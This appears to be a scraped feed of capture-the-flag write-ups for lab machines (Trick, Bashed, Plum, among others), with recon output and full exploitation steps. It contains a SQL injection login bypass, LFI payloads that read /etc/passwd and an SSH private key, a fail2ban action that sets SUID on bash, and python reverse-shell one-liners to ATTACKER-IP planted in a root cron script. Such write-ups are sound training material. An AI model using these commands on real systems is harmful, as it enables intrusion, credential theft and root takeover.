host UID 0, so the bind-mounted host disk at /mnt/root is fully writable as real root. Inside the container we are root, and the host\u0026rsquo;s entire filesystem is mounted at /mnt/root:\n1 2 3 ~ # cd /mnt/root/root /mnt/root/root # ls root_279e22f8.txt snap And that is root.\n","permalink":"https://p4n4s.com/posts/htb/box/reset/","summary":"Reset chains a password-reset oracle and SQLi-leaked admin hash into an authenticated dashboard, an LFI that is weaponised through Apache log poisoning for RCE as www-data, a misconfigured /etc/hosts.equiv r-services trust that pivots laterally to two separate users, and finally an lxd group membership that mounts the host filesystem for root.","title":"HTB: Linux - Reset"},{"content":"Machine Info Spoiler Trick is an Easy Linux machine that features a DNS server and a website with a login page vulnerable to SQL Injection. Performing a DNS zone transfer reveals a subdomain, and further subdomain fuzzing exposes another that is vulnerable to Local File Inclusion (LFI). The LFI is leveraged to read an SSH key for a user, and a misconfigured fail2ban action — writable by a group the user belongs to — grants root once a ban is triggered. Important A few steps below are not the author-intended path — where that\u0026rsquo;s the case it\u0026rsquo;s flagged inline. They reach the same result through a shorter or different route, which is half the fun of enumeration. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-05 14:12 +0200 Nmap scan report for VICTIM-IP Host is up (0.0059s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA) | 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA) |_ 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519) 25/tcp open smtp? |_smtp-commands: Couldn\u0026#39;t establish connection on port 25 53/tcp open domain ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux) | dns-nsid: |_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Coming Soon - Start Bootstrap Theme Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Port 53 running BIND is the standout here. The version maps to CVE-2021-25220 (forwarder cache poisoning), but the actual foothold comes from a far simpler DNS misconfiguration. First, directory fuzzing on the web app with ffuf:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ffuf -u http://$VICTIM-IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -r ________________________________________________ :: Method : GET :: URL : http://$VICTIM-IP/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt :: Follow redirects : true :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ assets [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms] css [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms] index.html [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 5ms] js [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 5ms] Nothing useful on the root site — just a static \u0026ldquo;Coming Soon\u0026rdquo; template. The DNS service is the real lead.\nDNS Enumeration A reverse lookup against the box\u0026rsquo;s own DNS server resolves the domain name:\n1 2 └─$ dig +noall +answer -x VICTIM-IP @VICTIM-IP $VICTIM.in-addr.arpa. 604800 IN PTR trick.htb. Tip DNS over TCP (53/tcp) hints that zone transfers (AXFR) may be allowed. AXFR is meant for secondary nameservers to replicate the full zone — if it\u0026rsquo;s open to any client, it dumps every record in one query. So we attempt the zone transfer:\n1 2 3 4 5 6 7 8 9 10 11 12 └─$ dig axfr @VICTIM-IP trick.htb ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.20.22-1-Debian \u0026lt;\u0026lt;\u0026gt;\u0026gt; axfr @VICTIM-IP trick.htb ; (1 server found) ;; global options: +cmd trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 trick.htb. 604800 IN NS trick.htb. trick.htb. 604800 IN A 127.0.0.1 trick.htb. 604800 IN AAAA ::1 preprod-payroll.trick.htb. 604800 IN CNAME trick.htb. trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800 ;; XFR size: 6 records (messages 1, bytes 231) We get a new subdomain, preprod-payroll.trick.htb. The root.trick.htb in the SOA is not a subdomain — it\u0026rsquo;s the admin contact email in DNS notation (first . replaces @). Add both names to the hosts file:\n1 echo \u0026#39;$VICTIM-IP trick.htb preprod-payroll.trick.htb\u0026#39; | sudo tee -a /etc/hosts preprod-payroll The subdomain serves a Payroll Management System behind a login page. Directory fuzzing maps out the app:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ ffuf -u http://preprod-payroll.trick.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .php -r ________________________________________________ :: Method : GET :: URL : http://preprod-payroll.trick.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Extensions : .php :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ ajax.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 10ms] assets [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 6ms] database [Status: 403, Size: 169, Words: 4, Lines: 8, Duration: 6ms] db_connect.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 7ms] department.php [Status: 200, Size: 4844, Words: 244, Lines: 179, Duration: 7ms] employee.php [Status: 200, Size: 2717, Words: 74, Lines: 96, Duration: 7ms] header.php [Status: 200, Size: 2548, Words: 145, Lines: 46, Duration: 4ms] home.php [Status: 200, Size: 486, Words: 180, Lines: 27, Duration: 6ms] index.php [Status: 200, Size: 5571, Words: 374, Lines: 177, Duration: 6ms] login.php [Status: 200, Size: 5571, Words: 374, Lines: 177, Duration: 6ms] navbar.php [Status: 200, Size: 1382, Words: 68, Lines: 24, Duration: 5ms] payroll.php [Status: 200, Size: 3142, Words: 86, Lines: 111, Duration: 17ms] position.php [Status: 200, Size: 5549, Words: 260, Lines: 196, Duration: 8ms] users.php [Status: 200, Size: 2197, Words: 103, Lines: 81, Duration: 8ms] The login form is vulnerable to a classic SQLi auth bypass:\n1 2 Username: \u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1 Password: \u0026#39; or \u0026#39;1\u0026#39;=\u0026#39;1 This logs us in as admin, but the panel itself is largely a rabbit hole. The real takeaway is the naming convention — preprod- — which suggests more virtual hosts following the same pattern.\nSubdomain (vHost) Fuzzing preprod-marketing has no DNS record — it\u0026rsquo;s served as an nginx virtual host routed by the Host header — so a zone transfer or gobuster dns would miss it entirely. We fuzz the Host header instead. Important Note — unintended path. The author-intended route to this subdomain is the payroll SQLi → LOAD_FILE() to read the nginx config → spot the preprod-marketing server block. We skip all of that and find it directly by guessing the preprod- naming pattern and vHost-fuzzing. Same destination, fewer steps. Build a preprod- prefixed wordlist:\n1 2 3 4 sed \u0026#39;s/^/preprod-/\u0026#39; /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \u0026gt; preprod-wordlist.txt wc preprod-wordlist.txt 4989 4989 73478 preprod-wordlist.txt Then vhost fuzz, filtering out the default page size (5480):\n1 2 3 4 5 6 7 8 9 10 11 12 └─$ ffuf -u http://trick.htb -H \u0026#34;Host: FUZZ.trick.htb\u0026#34; -w preprod-wordlist.txt -fs 5480 ________________________________________________ :: Method : GET :: URL : http://trick.htb :: Header : Host: FUZZ.trick.htb :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 5480 ________________________________________________ preprod-marketing [Status: 200, Size: 9660, Words: 3007, Lines: 179, Duration: 14ms] 1 echo \u0026#39;$VICTIM-IP preprod-marketing.trick.htb\u0026#39; | sudo tee -a /etc/hosts Tip ffuf -H \u0026quot;Host: FUZZ\u0026quot; fuzzes at the HTTP layer — it finds vHosts the web server routes by Host header, even with no DNS record. gobuster dns fuzzes at the DNS layer — it only finds names with an actual record. On CTF boxes the vHost approach almost always finds more. preprod-marketing - LFI The marketing site routes pages through a ?page= parameter — a textbook LFI candidate. Naive ../ is filtered, but a doubled-up ....// traversal bypasses it. We confirm with ffuf against an LFI wordlist:\n1 2 3 4 5 6 7 8 9 10 11 12 $ ffuf -u http://preprod-marketing.trick.htb/index.php?page=FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0 ________________________________________________ :: Method : GET :: URL : http://preprod-marketing.trick.htb/index.php?page=FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 0 ________________________________________________ ....//....//....//etc/passwd [Status: 200, Size: 2351, Words: 28, Lines: 42, Duration: 6ms] 1 2 3 4 5 6 └─$ curl http://preprod-marketing.trick.htb//index.php?page=....//....//....//etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... michael:x:1001:1001::/home/michael:/bin/bash A user michael exists. We pull his SSH private key over the same LFI:\n1 2 3 4 5 6 7 └─$ curl http://preprod-marketing.trick.htb//index.php?page=....//....//....//home/michael/.ssh/id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz ... (snip) ... IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ== -----END OPENSSH PRIVATE KEY----- Save the key, fix permissions, and log in over SSH:\n1 2 chmod 600 michael_id_rsa ssh -i michael_id_rsa michael@trick.htb 1 2 3 michael@trick:~$ id uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security) michael@trick:~$ cat user.txt That is how we get the user.txt.\nRoot michael is a member of the security group (note it from the id output above). Checking sudo -l:\n1 2 3 4 5 6 7 michael@trick:~$ sudo -l Matching Defaults entries for michael on trick: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User michael may run the following commands on trick: (root) NOPASSWD: /etc/init.d/fail2ban restart So michael can restart fail2ban as root, and fail2ban runs its action scripts as root when a ban fires. Reference for the technique: https://infosecwriteups.com/fail2ban-privilege-escalation-5de164aff6f3\nThe security group has write access to the action directory:\n1 2 3 4 5 6 7 8 9 10 11 michael@trick:/etc/fail2ban/action.d$ ls -al total 284 drwxrwx--- 2 root security 4096 Jun 5 16:39 . drwxr-xr-x 6 root root 4096 Jun 5 16:39 .. -rw-r--r-- 1 root root 1485 Jun 5 16:39 ipfilter.conf -rw-r--r-- 1 root root 1417 Jun 5 16:39 ipfw.conf -rw-r--r-- 1 root root 1426 Jun 5 16:39 iptables-allports.conf -rw-r--r-- 1 root root 2738 Jun 5 16:39 iptables-common.conf -rw-r--r-- 1 root root 1339 Jun 5 16:39 iptables.conf -rw-r--r-- 1 root root 2082 Jun 5 16:39 iptables-multiport-log.conf ... The default banaction in jail.conf is iptables-multiport, so a ban runs iptables-multiport.conf. We can\u0026rsquo;t edit that file (owned by root), but action.d/ is group-writable — so we delete the file and replace it with our own.\nTip A writable directory beats a read-only file. Even without write access on a file, write access on its parent directory lets you rm it and recreate it with content you control. We set actionban to flip the SUID bit on bash:\n1 2 3 4 5 6 7 8 9 10 11 12 cd /etc/fail2ban/action.d/ cp iptables-multiport.conf /tmp/iptables-multiport.conf.bak rm iptables-multiport.conf cat \u0026gt; iptables-multiport.conf \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; [Definition] actionstart = actionstop = actioncheck = actionban = chmod u+s /bin/bash actionunban = EOF Tip Heredoc with a quoted 'EOF' writes the file verbatim — no shell expansion of $ or backticks inside the block. Ideal for dropping config without an editor. Restart fail2ban so it loads the modified action:\n1 2 michael@trick:~$ sudo /etc/init.d/fail2ban restart [ ok ] Restarting fail2ban (via systemctl): fail2ban.service. Now trigger a ban. From the attacker box, brute the SSH jail until fail2ban bans us — that fires actionban as root:\n1 └─$ hydra -l michael -P /usr/share/seclists/Passwords/Most-Popular-Letter-Passes.txt ssh://trick.htb -t 4 Watch for the SUID bit to land on /bin/bash, then spawn a privileged shell with -p:\n1 2 3 4 5 michael@trick:/etc/fail2ban$ watch -n 0 ls -al /bin/bash michael@trick:/etc/fail2ban$ bash -p bash-5.0# whoami root bash-5.0# cat /root/root.txt This is how we get root.\n","permalink":"https://p4n4s.com/posts/htb/box/trick/","summary":"Trick is an Easy Linux machine built around enumeration. A misconfigured DNS zone transfer plus virtual-host fuzzing reveal hidden subdomains, an LFI on one of them leaks an SSH key, and a user in the security group abuses a writable fail2ban action directory to get root once a ban fires.","title":"HTB: Linux - Trick"},{"content":"Machine Info Spoiler Bashed is a fairly easy machine which focuses mainly on fuzzing and locating important files. As basic access to the crontab is restricted, User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV $VICTIM Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 14:12 +0200 Nmap scan report for VICTIM-IP Host is up (0.0083s latency). PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Arrexel\u0026#39;s Development Site |_http-server-header: Apache/2.4.18 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16 Network Distance: 2 hops We are going to run a directory fuzzing on the web app with ffuf.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ffuf -u http://VICTIM-IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r :: Method : GET :: URL : http://VICTIM-IP/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ .htaccess [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 783ms] .htpasswd [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 1414ms] css [Status: 200, Size: 1760, Words: 99, Lines: 21, Duration: 9ms] dev [Status: 200, Size: 1150, Words: 76, Lines: 18, Duration: 8ms] fonts [Status: 200, Size: 2097, Words: 124, Lines: 22, Duration: 7ms] images [Status: 200, Size: 1566, Words: 91, Lines: 20, Duration: 9ms] js [Status: 200, Size: 3167, Words: 190, Lines: 27, Duration: 8ms] uploads [Status: 200, Size: 14, Words: 1, Lines: 2, Duration: 11ms] PHPBash Looking at the website it seems to be about a tool called phpbash that Arrexel wrote. What seems interesting is that it is mentioned that it was developed on this exact server. From our initial dir enumeration we found a /dev/ directory which we will check now. As you can wee we basically have the tool installed on the server and being run for development purposes. We can just use it and enumerate the system and see that we are user www-data.\nThat is how we get a shell and we can get the local.txt.\nRoot Further enumeration reveals to us that we can run everything as user scriptmanager! That\u0026rsquo;s interesting.\n1 2 3 4 5 6 7 8 www-data@bashed :/var/www/html# sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL We are going to establish a reverse shell here for convenience although it\u0026rsquo;s not mandatory for this box.\nWe are using a python payload here and the usual netcat listener.\n1 python3 -c \u0026#39;import os,pty,socket;s=socket.socket();s.connect((\u0026#34;ATTACKER-IP\u0026#34;,80));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; 1 2 3 4 5 6 7 └─$ nc -lvnp 8081 listening on [any] 8081 ... connect to [ATTACKER-IP] from (UNKNOWN) [VICTIM-IP] 44150 www-data@bashed:/home/scriptmanager$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@bashed:/home/scriptmanager$ We can also switch to user scriptmanager basically as we can run every command as that user.\n1 2 3 4 5 www-data@bashed:/home/scriptmanager$ sudo -u scriptmanager /bin/bash sudo -u scriptmanager /bin/bash scriptmanager@bashed:~$ id id uid=1001(scriptmanager) gid=1001(scriptmanager) groups=1001(scriptmanager) Tip We can run sudo -u \u0026lt;USER\u0026gt; \u0026lt;CMD\u0026gt; and it will basically run the command as the user specified, provided that we have the rights to do so. We are going to enumerate the host further.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 scriptmanager@bashed:~$ ls -al / ls -al / total 92 drwxr-xr-x 23 root root 4096 Jun 2 2022 . drwxr-xr-x 23 root root 4096 Jun 2 2022 .. -rw------- 1 root root 212 Jun 14 2022 .bash_history drwxr-xr-x 2 root root 4096 Jun 2 2022 bin drwxr-xr-x 3 root root 4096 Jun 2 2022 boot drwxr-xr-x 19 root root 4140 May 8 05:09 dev drwxr-xr-x 89 root root 4096 Jun 2 2022 etc drwxr-xr-x 4 root root 4096 Dec 4 2017 home lrwxrwxrwx 1 root root 32 Dec 4 2017 initrd.img -\u0026gt; boot/initrd.img-4.4.0-62-generic drwxr-xr-x 19 root root 4096 Dec 4 2017 lib drwxr-xr-x 2 root root 4096 Jun 2 2022 lib64 drwx------ 2 root root 16384 Dec 4 2017 lost+found drwxr-xr-x 4 root root 4096 Dec 4 2017 media drwxr-xr-x 2 root root 4096 Jun 2 2022 mnt drwxr-xr-x 2 root root 4096 Dec 4 2017 opt dr-xr-xr-x 178 root root 0 May 8 05:09 proc drwx------ 3 root root 4096 May 8 05:10 root drwxr-xr-x 18 root root 520 May 8 05:09 run drwxr-xr-x 2 root root 4096 Dec 4 2017 sbin drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 scripts drwxr-xr-x 2 root root 4096 Feb 15 2017 srv dr-xr-xr-x 13 root root 0 May 8 05:09 sys drwxrwxrwt 10 root root 4096 May 8 05:45 tmp drwxr-xr-x 10 root root 4096 Dec 4 2017 usr drwxr-xr-x 12 root root 4096 Jun 2 2022 var lrwxrwxrwx 1 root root 29 Dec 4 2017 vmlinuz -\u0026gt; boot/vmlinuz-4.4.0-62-generic scriptmanager@bashed:~$ cd /scripts cd /scripts scriptmanager@bashed:/scripts$ ls ls test.py test.txt scriptmanager@bashed:/scripts$ ls -al ls -al total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 2022 . drwxr-xr-x 23 root root 4096 Jun 2 2022 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 May 8 05:46 test.txt scriptmanager@bashed:/scripts$ cat test.py cat test.py f = open(\u0026#34;test.txt\u0026#34;, \u0026#34;w\u0026#34;) f.write(\u0026#34;testing 123!\u0026#34;) f.close scriptmanager@bashed:/scripts$ cat test.txt cat test.txt testing 123!scriptmanager@bashed:/scripts$ What is interesting here is that the script test.py is owned by our user and the test.txt file is from root hinting us that root actually executes our script with a cron job probably. And if we wait a bit we would see it updates the last update time of the output file every minute or so.\nSo let\u0026rsquo;s inject a malicious python payload and actually a reverse shell one so we get shell as root!\n1 2 echo \u0026#39;import os,pty,socket;s=socket.socket();s.connect((\u0026#34;ATTACKER-IP\u0026#34;,8888));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; \u0026gt; test.py \u0026lt;8));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; \u0026gt; test.py 1 2 3 4 5 6 7 8 9 10 11 nc -lvnp 8888 listening on [any] 8888 ... connect to [ATTACKER-IP] from (UNKNOWN) [VICTIM-IP] 57558 root@bashed:/scripts# id id uid=0(root) gid=0(root) groups=0(root) root@bashed:/scripts# cd /root cd /root root@bashed:~# ls ls root.txt This is how we get root.\n","permalink":"https://p4n4s.com/posts/htb/box/bashed/","summary":"Bashed is a fairly easy machine which focuses mainly on fuzzing and locating important files. As basic access to the crontab is restricted","title":"HTB: Linux - Bashed"},{"content":"Machine Info Spoiler This lab demonstrates exploiting a Remote Code Execution (RCE) vulnerability in PluXml v5.8.7 (CVE-2022-25018) by injecting a malicious PHP payload into a static page. Privilege escalation is achieved by discovering root credentials in the mail directory, enabling direct root access. This lab highlights weak web protections, file upload vulnerabilities, and privilege escalation through credential disclosure. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) Running second nmap scan with open ports: 22,80 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-12 19:00 CET Nmap scan report for $VICTIM Host is up (0.029s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA) | 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA) |_ 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519) 80/tcp open http Apache httpd 2.4.56 ((Debian)) |_http-title: PluXml - Blog or CMS, XML powered ! |_http-server-header: Apache/2.4.56 (Debian) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel PluXml CMS We see the CMS. Let\u0026rsquo;s do a but of enumeration before looking it up online for exploits. We find it\u0026rsquo;s admin page from the footer and we are going to login with \u0026ldquo;default creds\u0026rdquo;.\nAdmin creds admin:admin Logged in as admin we can see the version of the CMS, PluXml 5.8.7. Looking it up online we find CVE-2022-25018. A public exploit exists and instruction on how to exploit it manually. We are gonna do that. The exploit works by:\nLogin as Admin In the Admin menu select static page and edit one Insert the PHP code there with the relevant tags \u0026lt;?php ?\u0026gt; Save changes and view the page for the code to execute We are going to use the PHP reverse shell payload from Ivan Sincek found on Revshells Tip For the listener we are going to use penelope a really cool reverse listener with some extra stuff and automation like auto upgrading to a PTY when the callback comes. After visiting the static page we get our callback.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 └─$ penelope -i tun0 -p 4444 [+] Listening for reverse shells on $ATTACKER:4444 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from plum~$VICTIM-Linux-x86_64 😍 Assigned SessionID \u0026lt;1\u0026gt; [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /home/kali/.penelope/sessions/plum~$VICTIM-Linux-x86_64/2026_03_12-19_19_11-210.log 📜 ───────────────────────────────────────────────────────────────────────────────────────────── www-data@plum:/var/www/html$ www-data@plum:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ... www-data@plum:/$ cd /var/www www-data@plum:/var/www$ ls -al total 16 drwxr-xr-x 3 root root 4096 Aug 25 2023 . drwxr-xr-x 12 root root 4096 Aug 25 2023 .. drwxr-xr-x 8 www-data www-data 4096 Aug 25 2023 html -rw-r--r-- 1 www-data www-data 33 Mar 12 13:58 local.txt That is how we get a shell and we can get the local.txt.\nRoot Mail We had linpeas run as usual but also from our own enumeration we see that there is an SMTP service running on port 25.\n1 2 3 4 ss -tlnp State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:22 0.0.0.0:* users:((\u0026#34;sshd\u0026#34;,pid=569,fd=3)) LISTEN 0 20 127.0.0.1:25 0.0.0.0:* We are going to look on the interesting mail folders found for www-data user.\n1 2 3 4 5 6 www-data@plum:/tmp$ cd /var/mail www-data@plum:/var/mail$ ls -al total 16 drwxrwsr-x 2 root mail 4096 Mar 12 14:42 . drwxr-xr-x 12 root root 4096 Aug 25 2023 .. -rw-rw---- 1 www-data mail 4563 Mar 12 14:42 www-data Reading up the mail we find hardcoded the root password!\nRoot\u0026#39;s password 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 www-data@plum:/var/mail$ cat www-data From root@localhost Fri Aug 25 06:31:47 2023 Return-path: \u0026lt;root@localhost\u0026gt; Envelope-to: www-data@localhost Delivery-date: Fri, 25 Aug 2023 06:31:47 -0400 Received: from root by localhost with local (Exim 4.94.2) (envelope-from \u0026lt;root@localhost\u0026gt;) id 1qZU6V-0000El-Pw for www-data@localhost; Fri, 25 Aug 2023 06:31:47 -0400 To: www-data@localhost From: root@localhost Subject: URGENT - DDOS ATTACK\u0026#34; Reply-to: root@localhost Message-Id: \u0026lt;E1qZU6V-0000El-Pw@localhost\u0026gt; Date: Fri, 25 Aug 2023 06:31:47 -0400 We are under attack. We\u0026#39;ve been targeted by an extremely complicated and sophisicated DDOS attack. I trust your skills. Please save us from this. Here are the credentials for the root user: root:6s8kaZZNaZZYBMfh2YEW Thanks, Administrator This is how we get root.\n","permalink":"https://p4n4s.com/posts/offsec/plum/","summary":"This lab emphasizes different enumeration methods, particularly web enumeration, to uncover vulnerabilities. Learners will exploit CVE-2022-25018 for initial access. The lab also teaches privilege escalation techniques to gain higher-level access within the system.","title":"PG Practice: Linux - Plum"},{"content":"Machine Info Spoiler This lab demonstrates exploiting a PostgreSQL server with default credentials and leveraging its misconfigured settings to gain a reverse shell. Learners will escalate privileges by abusing a misconfigured SUID find binary. The lab emphasizes database exploitation, remote command execution, and privilege escalation through SUID misconfigurations. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) Running second nmap scan with open ports: 21,22,80,5437 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-11 12:57 CET Nmap scan report for $VICTIM Host is up (0.029s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA) | 256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA) |_ 256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Enter a title, displayed at the top of the window. |_http-server-header: Apache/2.4.38 (Debian) 5437/tcp open postgresql PostgreSQL DB 11.3 - 11.9 | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Not valid before: 2020-04-27T15:41:47 |_Not valid after: 2030-04-25T15:41:47 |_ssl-date: TLS randomness does not represent time We did run check the web service and also enumerated directories with ffuf but there was nothing to be found there.\nPostgres We focused then on the Postgres database listening on port 5437. While looking up online first for the possible version that nmap scan showed we come across CVE-2019–9193 RCE exploit. Although this works only if we have credentials. So we are going to try few default ones and we manage to get access!\n1 2 3 4 5 6 7 └─$ psql -h $VICTIM -p 5437 -U postgres -W Password: psql (17.5 (Debian 17.5-1), server 11.7 (Debian 11.7-0+deb10u1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none) Type \u0026#34;help\u0026#34; for help. postgres=# Postgres creds postgres:postgres We enumerated the database but we didn\u0026rsquo;t find anything else useful.\nSo, now we are going to use the exploit we found previously hoping that will work.\n1 2 3 4 5 6 7 8 9 10 11 12 └─$ python 50847.py -i $VICTIM -p 5437 -c whoami [+] Connecting to 